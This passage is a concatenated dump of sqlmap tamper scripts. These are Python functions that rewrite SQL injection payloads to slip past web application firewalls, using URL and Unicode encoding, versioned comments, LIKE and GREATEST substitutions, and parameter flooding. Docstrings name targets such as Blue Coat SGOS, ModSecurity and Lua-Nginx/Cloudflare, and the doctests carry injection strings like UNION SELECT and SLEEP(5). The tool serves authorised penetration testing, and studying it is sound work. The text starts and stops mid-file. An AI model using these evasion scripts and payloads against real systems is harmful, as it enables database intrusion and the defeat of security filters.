LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) return retVal ================================================ FILE: tamper/binary.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Injects the keyword binary where applicable Requirement: * MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' >>> tamper('1 AND 2>1') '1 AND binary 2>binary 1' >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' """ retVal = payload if payload: retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) return retVal ================================================ FILE: tamper/bluecoat.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147 Tested against: * MySQL 5.1, SGOS Notes: * Useful to bypass Blue Coat's recommended WAF rule configuration >>> tamper('SELECT id FROM users WHERE id = 1') 'SELECT%09id FROM%09users WHERE%09id LIKE 1' """ def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "%s%%09" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = retVal.replace("%09 ", "%09") return retVal ================================================ FILE: tamper/chardoubleencode.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Double URL-encodes each character in the payload (ignores already encoded ones) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD FROM%20TABLE') '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) i += 1 return retVal ================================================ FILE: tamper/charencode.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS >>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += '%%%.2X' % ord(payload[i]) i += 1 return retVal ================================================ FILE: tamper/charunicodeencode.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import string from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '%%u%.4X' % ord(payload[i]) i += 1 return retVal ================================================ FILE: tamper/charunicodeescape.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) Notes: * Useful to bypass weak filtering and/or WAFs in JSON contexes >>> tamper('SELECT FIELD FROM TABLE') '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "\\u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '\\u%.4X' % ord(payload[i]) i += 1 return retVal ================================================ FILE: tamper/commalesslimit.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 >>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2' """ retVal = payload match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") if match: retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) return retVal ================================================ FILE: tamper/commalessmid.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 >>> tamper('MID(VERSION(), 1, 1)') 'MID(VERSION() FROM 1 FOR 1)' """ retVal = payload warnMsg = "you should consider usage of switch '--no-cast' along with " warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0] singleTimeWarnMessage(warnMsg) match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") if match: retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) return retVal ================================================ FILE: tamper/commentbeforeparentheses.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Prepends (inline) comment before parentheses (e.g. ( -> /**/() Tested against: * Microsoft SQL Server * MySQL * Oracle * PostgreSQL Notes: * Useful to bypass web application firewalls that block usage of function calls >>> tamper('SELECT ABS(1)') 'SELECT ABS/**/(1)' """ retVal = payload if payload: retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal) return retVal ================================================ FILE: tamper/concat2concatws.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function >>> tamper('CONCAT(1,2)') 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' """ if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") return payload ================================================ FILE: tamper/decentities.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ HTML encode in decimal (using code points) all characters (e.g. ' -> ') >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): retVal += "&#%s;" % ord(payload[i]) i += 1 return retVal ================================================ FILE: tamper/dunion.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) def tamper(payload, **kwargs): """ Replaces instances of <int> UNION with <int>DUNION Requirement: * Oracle Notes: * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf >>> tamper('1 UNION ALL SELECT') '1DUNION ALL SELECT' """ return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload ================================================ FILE: tamper/equaltolike.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1' """ retVal = payload if payload: retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) return retVal ================================================ FILE: tamper/equaltorlike.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart Tested against: * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id RLIKE 1' """ retVal = payload if payload: retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) return retVal ================================================ FILE: tamper/escapequotes.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Slash escape single and double quotes (e.g. ' -> \') >>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#' """ return payload.replace("'", "\\'").replace('"', '\\"') ================================================ FILE: tamper/greatest.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'GREATEST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases >>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) retVal = retVal.replace(match.group(0), _) return retVal ================================================ FILE: tamper/halfversionedmorekeywords.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Adds (MySQL) versioned comment before each keyword Requirement: * MySQL < 5.1 Tested against: * MySQL 4.0.18, 5.0.22 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!0%s" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal ================================================ FILE: tamper/hex2char.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.convert import decodeHex from lib.core.convert import getOrds from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart Requirement: * MySQL Tested against: * MySQL 4, 5.0 and 5.5 Notes: * Useful in cases when web application does the upper casing >>> tamper('SELECT 0xdeadbeef') 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' """ retVal = payload if payload: for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): if len(match.group(1)) > 2: result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) else: result = "CHAR(%d)" % ord(decodeHex(match.group(1))) retVal = retVal.replace(match.group(0), result) return retVal ================================================ FILE: tamper/hexentities.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): retVal += "&#x%s;" % format(ord(payload[i]), "x") i += 1 return retVal ================================================ FILE: tamper/htmlencode.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' """ if payload: payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) return payload ================================================ FILE: tamper/if2case.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY from lib.core.settings import REPLACEMENT_MARKER __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IF() functions >>> tamper('IF(1, 2, 3)') 'CASE WHEN (1) THEN (2) ELSE (3) END' >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)') 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' """ if payload and payload.find("IF") > -1: payload = payload.replace("()", REPLACEMENT_MARKER) while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 commas, end = [], None for i in xrange(index + len("IF("), len(payload)): if depth == 1 and payload[i] == ',': commas.append(i) elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if len(commas) == 2 and end: a = payload[index + len("IF("):commas[0]].strip("()") b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") c = payload[commas[1] + 1:end].lstrip().strip("()") newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) payload = payload[:index] + newVal + payload[end + 1:] else: break payload = payload.replace(REPLACEMENT_MARKER, "()") return payload ================================================ FILE: tamper/ifnull2casewhenisnull.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() functions >>> tamper('IFNULL(1, 2)') 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' """ if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload ================================================ FILE: tamper/ifnull2ifisnull.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function >>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' """ if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload ================================================ FILE: tamper/informationschemacomment.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' """ retVal = payload if payload: retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) return retVal ================================================ FILE: tamper/least.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'LEAST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The LEAST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases >>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) if match: _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) retVal = retVal.replace(match.group(0), _) return retVal ================================================ FILE: tamper/lowercase.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with lower case value (e.g. SELECT -> select) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions >>> tamper('INSERT') 'insert' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.lower()) return retVal ================================================ FILE: tamper/luanginx.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random import string from lib.core.compat import xrange from lib.core.enums import HINT from lib.core.enums import PRIORITY from lib.core.settings import DEFAULT_GET_POST_DELIMITER __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ LUA-Nginx WAFs Bypass (e.g. Cloudflare) Reference: * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ Notes: * Lua-Nginx WAFs do not support processing of more than 100 parameters >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&